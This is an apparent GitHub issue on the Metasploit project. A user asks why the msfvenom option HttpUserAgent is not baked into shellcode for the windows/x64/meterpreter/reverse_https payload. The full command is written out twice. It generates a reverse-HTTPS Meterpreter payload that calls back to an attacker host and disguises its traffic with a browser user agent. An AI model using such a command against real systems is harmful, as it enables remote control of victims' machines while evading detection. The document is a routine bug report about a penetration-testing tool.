You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
How come there are no user-agent strings embedded in the shellcode when using this command:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=443 PayloadUUIDTracking=true HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edge/131.0.2903.86" PayloadUUIDName="foobar" -f raw EXITFUNC=thread -o shellcode.bin
I tried to send a request over my web server and this was shown in my apache2 logs.
Checking the plaintext of this shellcode, it seems the IP of my web server and the initial URI is only baked.
Relevant information
I found a similar issue before and I checked the source code again in the latest version of metasploit and it seems the changes by @busterb from the issue below was already applied however I was still having problems on how to embed the initial user-agent in the shellcode.
sscoconutree
changed the title
No user-agent embedded in the shellcode via msfvenom using 'windows/x64/meterpreter/reverse_https'
No user-agent embedded in the shellcode via msfvenom with payload 'windows/x64/meterpreter/reverse_https'
Dec 25, 2024
Summary
How come there are no user-agent strings embedded in the shellcode when using this command:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=443 PayloadUUIDTracking=true HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edge/131.0.2903.86" PayloadUUIDName="foobar" -f raw EXITFUNC=thread -o shellcode.bin
I tried to send a request over my web server and this was shown in my apache2 logs.
Checking the plaintext of this shellcode, it seems the IP of my web server and the initial URI is only baked.
Relevant information
I found a similar issue before and I checked the source code again in the latest version of metasploit and it seems the changes by @busterb from the issue below was already applied however I was still having problems on how to embed the initial user-agent in the shellcode.
#11075
The text was updated successfully, but these errors were encountered: